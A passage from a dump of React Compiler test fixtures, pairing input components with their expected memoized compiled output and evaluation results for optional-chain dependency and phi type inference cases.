    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-inverted-optionals-parallel-paths.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.a.b?.c.d?.e);\n    x.push(props.a?.b.c?.d.e);\n    return x;\n  }, [props.a.b.c.d.e]);\n  return <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport { ValidateMemoization } from \"shared-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n\n  const x$0 = [];\n  x$0.push(props?.a.b?.c.d?.e);\n  x$0.push(props.a?.b.c?.d.e);\n  let t0;\n  if ($[0] !== props.a.b.c.d.e) {\n    t0 = <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;\n    $[0] = props.a.b.c.d.e;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-inverted-optionals-parallel-paths.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.a.b?.c.d?.e);\n    x.push(props.a?.b.c?.d.e);\n    return x;\n  }, [props.a.b.c.d.e]);\n  return <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single-with-unconditional.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    x.push(props.items);\n    return x;\n  }, [props.items]);\n  return <ValidateMemoization inputs={[props.items]} output={data} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport { ValidateMemoization } from \"shared-runtime\";\nfunction Component(props) {\n  const $ = _c(7);\n  let x;\n  if ($[0] !== props.items) {\n    x = [];\n    x.push(props?.items);\n    x.push(props.items);\n    $[0] = props.items;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  const data = x;\n  let t0;\n  if ($[2] !== props.items) {\n    t0 = [props.items];\n    $[2] = props.items;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  let t1;\n  if ($[4] !== data || $[5] !== t0) {\n    t1 = <ValidateMemoization inputs={t0} output={data} />;\n    $[4] = data;\n    $[5] = t0;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single-with-unconditional.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    x.push(props.items);\n    return x;\n  }, [props.items]);\n  return <ValidateMemoization inputs={[props.items]} output={data} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\nfunction Component({arg}) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(arg?.items);\n    return x;\n  }, [arg?.items]);\n  return <ValidateMemoization inputs={[arg?.items]} output={data} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: {items: 2}}],\n  sequentialRenders: [\n    {arg: {items: 2}},\n    {arg: {items: 2}},\n    {arg: null},\n    {arg: null},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport { ValidateMemoization } from \"shared-runtime\";\nimport { useMemo } from \"react\";\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arg } = t0;\n\n  arg?.items;\n  let x;\n  if ($[0] !== arg?.items) {\n    x = [];\n    x.push(arg?.items);\n    $[0] = arg?.items;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  const data = x;\n  const t1 = arg?.items;\n  let t2;\n  if ($[2] !== t1) {\n    t2 = [t1];\n    $[2] = t1;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== data || $[5] !== t2) {\n    t3 = <ValidateMemoization inputs={t2} output={data} />;\n    $[4] = data;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arg: { items: 2 } }],\n  sequentialRenders: [\n    { arg: { items: 2 } },\n    { arg: { items: 2 } },\n    { arg: null },\n    { arg: null },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[2],\"output\":[2]}</div>\n<div>{\"inputs\":[2],\"output\":[2]}</div>\n<div>{\"inputs\":[null],\"output\":[null]}</div>\n<div>{\"inputs\":[null],\"output\":[null]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\nfunction Component({arg}) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(arg?.items);\n    return x;\n  }, [arg?.items]);\n  return <ValidateMemoization inputs={[arg?.items]} output={data} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: {items: 2}}],\n  sequentialRenders: [\n    {arg: {items: 2}},\n    {arg: {items: 2}},\n    {arg: null},\n    {arg: null},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/partial-early-return-within-reactive-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = [];\n  let y = null;\n  if (props.cond) {\n    x.push(props.a);\n    // oops no memo!\n    return x;\n  } else {\n    y = foo();\n    if (props.b) {\n      return;\n    }\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  let y;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const x = [];\n      if (props.cond) {\n        x.push(props.a);\n        t0 = x;\n        break bb0;\n      } else {\n        let t1;\n        if ($[5] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t1 = foo();\n          $[5] = t1;\n        } else {\n          t1 = $[5];\n        }\n        y = t1;\n        if (props.b) {\n          t0 = undefined;\n          break bb0;\n        }\n      }\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.cond;\n    $[3] = t0;\n    $[4] = y;\n  } else {\n    t0 = $[3];\n    y = $[4];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, a: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/partial-early-return-within-reactive-scope.js",
    "content": "// @enablePropagateDepsInHIR\nfunction Component(props) {\n  let x = [];\n  let y = null;\n  if (props.cond) {\n    x.push(props.a);\n    // oops no memo!\n    return x;\n  } else {\n    y = foo();\n    if (props.b) {\n      return;\n    }\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, a: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push-consecutive-phis.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    if (props.cond2) {\n      y = [props.value];\n    } else {\n      y = [props.value2];\n    }\n  } else {\n    y = [];\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the array literals in the\n  // if/else branches\n  y.push(x);\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, cond2: true, value: 42}],\n  sequentialRenders: [\n    {cond: true, cond2: true, value: 3.14},\n    {cond: true, cond2: true, value: 42},\n    {cond: true, cond2: true, value: 3.14},\n    {cond: true, cond2: false, value2: 3.14},\n    {cond: true, cond2: false, value2: 42},\n    {cond: true, cond2: false, value2: 3.14},\n    {cond: false},\n    {cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { makeArray } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if (\n    $[1] !== props.cond ||\n    $[2] !== props.cond2 ||\n    $[3] !== props.value ||\n    $[4] !== props.value2\n  ) {\n    let y;\n    if (props.cond) {\n      if (props.cond2) {\n        y = [props.value];\n      } else {\n        y = [props.value2];\n      }\n    } else {\n      y = [];\n    }\n    y.push(x);\n    t1 = [x, y];\n    $[1] = props.cond;\n    $[2] = props.cond2;\n    $[3] = props.value;\n    $[4] = props.value2;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, cond2: true, value: 42 }],\n  sequentialRenders: [\n    { cond: true, cond2: true, value: 3.14 },\n    { cond: true, cond2: true, value: 42 },\n    { cond: true, cond2: true, value: 3.14 },\n    { cond: true, cond2: false, value2: 3.14 },\n    { cond: true, cond2: false, value2: 42 },\n    { cond: true, cond2: false, value2: 3.14 },\n    { cond: false },\n    { cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[42,\"[[ cyclic ref *1 ]]\"]]\n[{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[42,\"[[ cyclic ref *1 ]]\"]]\n[{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[\"[[ cyclic ref *1 ]]\"]]\n[{},[\"[[ cyclic ref *1 ]]\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push-consecutive-phis.js",
    "content": "// @enablePropagateDepsInHIR\nimport {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    if (props.cond2) {\n      y = [props.value];\n    } else {\n      y = [props.value2];\n    }\n  } else {\n    y = [];\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the array literals in the\n  // if/else branches\n  y.push(x);\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, cond2: true, value: 42}],\n  sequentialRenders: [\n    {cond: true, cond2: true, value: 3.14},\n    {cond: true, cond2: true, value: 42},\n    {cond: true, cond2: true, value: 3.14},\n    {cond: true, cond2: false, value2: 3.14},\n    {cond: true, cond2: false, value2: 42},\n    {cond: true, cond2: false, value2: 3.14},\n    {cond: false},\n    {cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    y = [props.value];\n  } else {\n    y = [];\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the array literals in the\n  // if/else branches\n  y.push(x);\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, value: 42}],\n  sequentialRenders: [\n    {cond: true, value: 3.14},\n    {cond: false, value: 3.14},\n    {cond: true, value: 42},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if ($[1] !== props.cond || $[2] !== props.value) {\n    let y;\n    if (props.cond) {\n      y = [props.value];\n    } else {\n      y = [];\n    }\n    y.push(x);\n    t1 = [x, y];\n    $[1] = props.cond;\n    $[2] = props.value;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, value: 42 }],\n  sequentialRenders: [\n    { cond: true, value: 3.14 },\n    { cond: false, value: 3.14 },\n    { cond: true, value: 42 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},[3.14,\"[[ cyclic ref *1 ]]\"]]\n[{},[\"[[ cyclic ref *1 ]]\"]]\n[{},[42,\"[[ cyclic ref *1 ]]\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push.js",
    "content": "// @enablePropagateDepsInHIR\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    y = [props.value];\n  } else {\n    y = [];\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the array literals in the\n  // if/else branches\n  y.push(x);\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, value: 42}],\n  sequentialRenders: [\n    {cond: true, value: 3.14},\n    {cond: false, value: 3.14},\n    {cond: true, value: 42},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-property-store.expect.md",
    "content": "\n## Input\n\n```javascript\n// @debug @enablePropagateDepsInHIR\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    y = {};\n  } else {\n    y = {a: props.a};\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the object literals in the\n  // if/else branches\n  y.x = x;\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, a: 'a!'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @debug @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if ($[1] !== props.a || $[2] !== props.cond) {\n    let y;\n    if (props.cond) {\n      y = {};\n    } else {\n      y = { a: props.a };\n    }\n    y.x = x;\n    t1 = [x, y];\n    $[1] = props.a;\n    $[2] = props.cond;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false, a: \"a!\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},{\"a\":\"a!\",\"x\":\"[[ cyclic ref *1 ]]\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-property-store.js",
    "content": "// @debug @enablePropagateDepsInHIR\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    y = {};\n  } else {\n    y = {a: props.a};\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the object literals in the\n  // if/else branches\n  y.x = x;\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, a: 'a!'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reactive-dependencies-non-optional-properties-inside-optional-chain.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction Component(props) {\n  return props.post.feedback.comments?.edges?.map(render);\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.post.feedback.comments?.edges) {\n    t0 = props.post.feedback.comments?.edges?.map(render);\n    $[0] = props.post.feedback.comments?.edges;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reactive-dependencies-non-optional-properties-inside-optional-chain.js",
    "content": "// @enablePropagateDepsInHIR\nfunction Component(props) {\n  return props.post.feedback.comments?.edges?.map(render);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/conditional-member-expr.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a` as a dependency (since `props.a.b` is\n// a conditional dependency, i.e. gated behind control flow)\n\nfunction Component(props) {\n  let x = [];\n  x.push(props.a?.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: null}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a` as a dependency (since `props.a.b` is\n// a conditional dependency, i.e. gated behind control flow)\n\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.a?.b) {\n    x = [];\n    x.push(props.a?.b);\n    $[0] = props.a?.b;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: null }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/conditional-member-expr.js",
    "content": "// @enablePropagateDepsInHIR\n// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a` as a dependency (since `props.a.b` is\n// a conditional dependency, i.e. gated behind control flow)\n\nfunction Component(props) {\n  let x = [];\n  x.push(props.a?.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: null}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-local-var.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {shallowCopy, mutate, Stringify} from 'shared-runtime';\n\nfunction useFoo({\n  a,\n  shouldReadA,\n}: {\n  a: {b: {c: number}; x: number};\n  shouldReadA: boolean;\n}) {\n  const local = shallowCopy(a);\n  mutate(local);\n  return (\n    <Stringify\n      fn={() => {\n        if (shouldReadA) return local.b.c;\n        return null;\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null, shouldReadA: true}],\n  sequentialRenders: [\n    {a: null, shouldReadA: true},\n    {a: null, shouldReadA: false},\n    {a: {b: {c: 4}}, shouldReadA: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { shallowCopy, mutate, Stringify } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(5);\n  const { a, shouldReadA } = t0;\n  let local;\n  if ($[0] !== a) {\n    local = shallowCopy(a);\n    mutate(local);\n    $[0] = a;\n    $[1] = local;\n  } else {\n    local = $[1];\n  }\n  let t1;\n  if ($[2] !== local || $[3] !== shouldReadA) {\n    t1 = (\n      <Stringify\n        fn={() => {\n          if (shouldReadA) {\n            return local.b.c;\n          }\n          return null;\n        }}\n        shouldInvokeFns={true}\n      />\n    );\n    $[2] = local;\n    $[3] = shouldReadA;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null, shouldReadA: true }],\n  sequentialRenders: [\n    { a: null, shouldReadA: true },\n    { a: null, shouldReadA: false },\n    { a: { b: { c: 4 } }, shouldReadA: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":null},\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":4},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-local-var.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {shallowCopy, mutate, Stringify} from 'shared-runtime';\n\nfunction useFoo({\n  a,\n  shouldReadA,\n}: {\n  a: {b: {c: number}; x: number};\n  shouldReadA: boolean;\n}) {\n  const local = shallowCopy(a);\n  mutate(local);\n  return (\n    <Stringify\n      fn={() => {\n        if (shouldReadA) return local.b.c;\n        return null;\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null, shouldReadA: true}],\n  sequentialRenders: [\n    {a: null, shouldReadA: true},\n    {a: null, shouldReadA: false},\n    {a: {b: {c: 4}}, shouldReadA: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-not-hoisted.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({a, shouldReadA}) {\n  return (\n    <Stringify\n      fn={() => {\n        if (shouldReadA) return a.b.c;\n        return null;\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, shouldReadA: true}],\n  sequentialRenders: [\n    {a: null, shouldReadA: true},\n    {a: null, shouldReadA: false},\n    {a: {b: {c: 4}}, shouldReadA: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { Stringify } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(3);\n  const { a, shouldReadA } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== shouldReadA) {\n    t1 = (\n      <Stringify\n        fn={() => {\n          if (shouldReadA) {\n            return a.b.c;\n          }\n          return null;\n        }}\n        shouldInvokeFns={true}\n      />\n    );\n    $[0] = a;\n    $[1] = shouldReadA;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ a: null, shouldReadA: true }],\n  sequentialRenders: [\n    { a: null, shouldReadA: true },\n    { a: null, shouldReadA: false },\n    { a: { b: { c: 4 } }, shouldReadA: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":null},\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":4},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-cond-access-not-hoisted.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({a, shouldReadA}) {\n  return (\n    <Stringify\n      fn={() => {\n        if (shouldReadA) return a.b.c;\n        return null;\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, shouldReadA: true}],\n  sequentialRenders: [\n    {a: null, shouldReadA: true},\n    {a: null, shouldReadA: false},\n    {a: {b: {c: 4}}, shouldReadA: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoisted.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  return <Stringify fn={() => a.b.c} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { Stringify } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let t1;\n  if ($[0] !== a.b.c) {\n    t1 = <Stringify fn={() => a.b.c} shouldInvokeFns={true} />;\n    $[0] = a.b.c;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null }],\n  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":4},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoisted.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  return <Stringify fn={() => a.b.c} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoists-other-dep.expect.md",
